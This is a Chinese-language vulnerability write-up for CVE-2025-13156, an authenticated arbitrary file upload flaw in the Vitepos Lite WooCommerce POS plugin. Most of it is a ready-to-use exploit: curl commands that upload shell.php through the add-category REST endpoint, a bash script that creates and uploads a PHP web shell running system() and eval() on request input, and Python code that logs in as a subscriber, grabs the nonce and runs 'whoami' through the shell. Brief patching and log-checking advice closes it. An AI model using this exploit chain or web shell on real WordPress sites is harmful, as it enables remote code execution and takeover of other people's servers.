CVE-2025-13156 - Vitepos 漏洞 -- WooCommerce 的销售点 (POS) 系统
受影响版本
产品:Vitepos -- WooCommerce 的销售点 (POS) 系统
版本:≤ v3.3.0
网址:https://wordpress.org/plugins/vitepos-lite/

CVE-2025-13156 --- 已认证(订阅者+)任意文件上传
受影响组件:网站服务器
攻击途径:在受影响网站的服务器上上传任意文件。
触发:这使得拥有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件,从而实现远程代码执行。
\ 'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
核心问题
-
权限验证缺失 :REST端点仅检查
is_user_logged_in(),未验证用户是否具有管理产品分类的权限 -
文件类型过滤不严:未对上传文件类型进行严格限制,允许上传PHP等可执行文件
影响:任何已认证用户(包括订阅者等低权限角色)都可以通过暴露的 Vitepos Lite REST 端点将任意文件上传到 wp-content/uploads/// 目录。在已启用 PHP 执行(或可通过上传配置文件重新启用)的服务器上,这会导致远程代码执行;即使执行被阻止,攻击者仍可通过上传的 HTML/SVG 文件托管恶意载荷或构造存储型 XSS 攻击。这实际上赋予了任何已登录用户任意文件写入权限。
该插件的 REST 路由位于 /wp-json/vitepos/v1/product/... 下,依赖于宽松的权限检查,实际上会接受任何已登录用户(is_user_logged_in()),而忽略调用者是否为 POS 用户或是否具有管理产品条款的权限。因此,低权限角色(例如,订阅者)也可以访问诸如 add-category/update-category 之类的端点。
公开POC内容
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
完整漏洞利用POC
#!/bin/bash
# CVE-2025-13156 漏洞利用脚本
# 针对 Vitepos Lite ≤ v3.3.0 的任意文件上传漏洞
TARGET="http://target-site.com"
COOKIE="wordpress_logged_in_hash=your_cookie_value"
NONCE="your_nonce_value"
# 创建恶意PHP文件
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
if(isset($_POST['code'])) {
eval($_POST['code']);
}
echo "Vitepos Shell";
?>
EOF
# 通过add-category端点上传Web Shell
curl -k -X POST \
"${TARGET}/wp-json/vitepos/v1/product/add-category" \
-H "Cookie: ${COOKIE}" \
-H "X-WP-Nonce: ${NONCE}" \
-F "category_name=exploit" \
-F "category_parent=0" \
-F "category_description=Pwned" \
-F "category_image=@/tmp/shell.php"
echo "检查上传结果: ${TARGET}/wp-content/uploads/vitepos/category/shell.php"
完整利用链路补充
步骤1:获取必要的认证信息
import requests
import re
def get_wp_details(target_url):
"""获取WordPress nonce和cookie"""
# 1. 登录获取cookie (需要有效凭证)
session = requests.Session()
login_data = {
'log': 'subscriber_user', # 订阅者账号
'pwd': 'password',
'wp-submit': 'Log In'
}
response = session.post(f"{target_url}/wp-login.php", data=login_data)
# 2. 从页面中提取nonce
response = session.get(f"{target_url}/wp-admin/")
nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)
nonce = nonce_match.group(1) if nonce_match else None
return session.cookies, nonce
步骤3:验证利用成功
def verify_exploit(target_url, cookies):
"""验证Web Shell是否成功上传并执行"""
# 尝试访问上传的shell
shell_url = f"{target_url}/wp-content/uploads/vitepos/category/shell.php"
# 测试命令执行
test_response = requests.get(
f"{shell_url}?cmd=whoami",
cookies=cookies,
verify=False
)
if "www-data" in test_response.text or "root" in test_response.text:
print("[+] 漏洞利用成功!获得RCE权限")
return True
else:
print("[-] 漏洞利用可能失败")
return False
修复建议
-
升级到安全版本:更新至 Vitepos v3.3.1 或更高版本
-
文件检查 :扫描
wp-content/uploads/vitepos/category/目录中的可疑文件 -
访问日志监控:检查对可疑PHP文件的访问记录